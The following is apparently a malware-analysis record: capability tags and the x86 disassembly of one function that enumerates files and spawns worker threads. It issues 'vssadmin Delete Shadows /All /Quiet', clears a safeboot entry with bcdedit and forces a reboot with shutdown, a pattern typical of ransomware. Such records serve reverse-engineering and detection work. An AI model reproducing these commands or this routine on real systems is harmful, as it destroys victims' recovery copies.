Function at 0x44ca60
Capabilities:
Accept command line arguments
Check mutex on windows
Create process on windows
Create thread
Manipulate boot configuration
Self delete

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x264
mov eax, dword [0x627294]
xor eax, esp
mov dword [esp + 0x260], eax
push ebx
push esi
push edi
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, dword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
mov edi, eax
push 0x62b5d0
call esi
push 0x62f60c
call esi
mov esi, dword [sym.imp.KERNEL32.DLL_InitializeConditionVariable]
push 0x62b5e8
call esi
push 0x62f608
call esi
mov ecx, dword [esp + 0x14]
mov edx, edi
call fcn.0044d100
test eax, eax
je 0x44cb03
cmp dword [0x62f634], 0
jne 0x44cb1f
push dword [0x62f63c]
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexW]
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x44cb1f
test esi, esi
je 0x44cb03
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x260]
xor ecx, esp
call fcn.00578494
mov esp, ebp
pop ebp
ret 0x10
cmp dword [0x62b5ec], 0
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateThread]
je 0x44cc6d
mov edx, dword [0x628da0]
cmp edx, 3
jbe 0x44cb97
mov esi, dword [0x628da4]
mov eax, esi
sub eax, edx
cmp eax, 1
jb 0x44cb75
cmp esi, 8
lea ecx, [edx + 1]
mov eax, 0x628d90
mov dword [0x628da0], ecx
cmovae eax, dword [0x628d90]
mov esi, 0x5c
mov word [eax + edx*2], si
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x44cb91
push 1
push 0x620c40
mov byte [esp + 0x18], 0
mov ecx, 0x628d90
push dword [esp + 0x18]
push 1
call fcn.00453820
mov edx, dword [0x628da0]
mov esi, dword [0x628da4]
mov eax, esi
sub eax, edx
cmp eax, 1
jb 0x44cbcf
cmp esi, 8
lea ecx, [edx + 1]
mov eax, 0x628d90
mov dword [0x628da0], ecx
cmovae eax, dword [0x628d90]
mov esi, 0x2a
mov word [eax + edx*2], si
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x44cbeb
push 1
push 0x62131c
mov byte [esp + 0x18], 0
mov ecx, 0x628d90
push dword [esp + 0x18]
push 1
call fcn.00453820
cmp dword [0x628da4], 8
lea ecx, [esp + 0x18]
mov eax, 0x628d90
cmovae eax, dword [0x628d90]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
cmp eax, 0xffffffff
je 0x44cb03
push 0x62f60c
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
cmp dword [0x62f644], 0x7ffffff
mov edi, dword [0x62f640]
je 0x44ce52
push 0x20
call fcn.0057856c
add esp, 4
mov esi, eax
push 0x628d90
lea ecx, [esi + 8]
call fcn.00452220
inc dword [0x62f644]
mov ecx, dword [edi + 4]
mov dword [esi], edi
mov dword [esi + 4], ecx
mov dword [edi + 4], esi
push 0x62f60c
mov dword [ecx], esi
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
jmp 0x44ccdd
cmp dword [0x62f624], 0
je 0x44cc7d
call fcn.0044da70
jmp 0x44ccd5
cmp dword [0x62f604], 0
jne 0x44ccc7
push 0
push 0
push 0
push 0x44f9e0
push 0
push 0
call ebx
mov ecx, dword [0x62f648]
mov dword [ecx], eax
test eax, eax
je 0x44cb03
push 0x62f60c
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
push 0x62f60c
mov dword [0x62b5f0], 1
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
cmp dword [0x62f600], 0
jne 0x44ccdd
call fcn.0044f690
test eax, eax
je 0x44cb03
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push 0
push str.Delete_Shadows__All__Quiet
push str.vssadmin.exe
push 0
push 0
call edi
push 0
push 0
push str.Delete_Shadows__All__Quiet
push str.C:WindowsSysnative_vssadmin.exe
push 0
push 0
call edi
cmp dword [0x62b5ec], 0
mov esi, 1
jne 0x44cd2b
cmp dword [0x62f624], 0
jne 0x44cd2b
cmp dword [0x62f604], 0
je 0x44cd2d
xor esi, esi
cmp esi, dword [0x62f65c]
jae 0x44cd60
push 0
push 0
push 0
push 0x44e3a0
push 0
push 0
call ebx
mov ecx, dword [0x62f648]
mov dword [ecx + esi*4], eax
test eax, eax
je 0x44cb03
inc esi
cmp esi, dword [0x62f65c]
jb 0x44cd35
call fcn.0044ee70
push 0xffffffffffffffff
push 1
push dword [0x62f648]
push dword [0x62f65c]
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
mov esi, dword [0x62f648]
push esi
call fcn.005784a2
mov eax, dword [0x62f648]
add esp, 4
test esi, esi
mov ecx, 0x8123
mov esi, dword [sym.imp.KERNEL32.DLL_DeleteCriticalSection]
cmovne eax, ecx
push 0x62b5d0
mov dword [0x62f648], eax
call esi
push 0x62f60c
call esi
cmp dword [0x62f62c], 0
je 0x44ce2b
push str.IsWow64Process
push str.kernel32
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x62b5fc], eax
test eax, eax
je 0x44cdf5
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [0x62b5fc]
cmp dword [esp + 0x10], 0
push 0
push 0
push str._deletevalue_current_safeboot
je 0x44ce0c
push str.C:WindowsSysnative_bcdedit.exe
jmp 0x44ce11
push str.bcdedit.exe
push 0
push 0
call edi
push 0
push 0
push str._r__t_0
push str.shutdown.exe
push 0
push 0
call edi
cmp dword [0x62f630], 0
je 0x44ce39
call fcn.0044ce60
mov ecx, dword [esp + 0x26c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00578494
mov esp, ebp
pop ebp
ret 0x10
push str.list_too_long
call fcn.0057741c
int3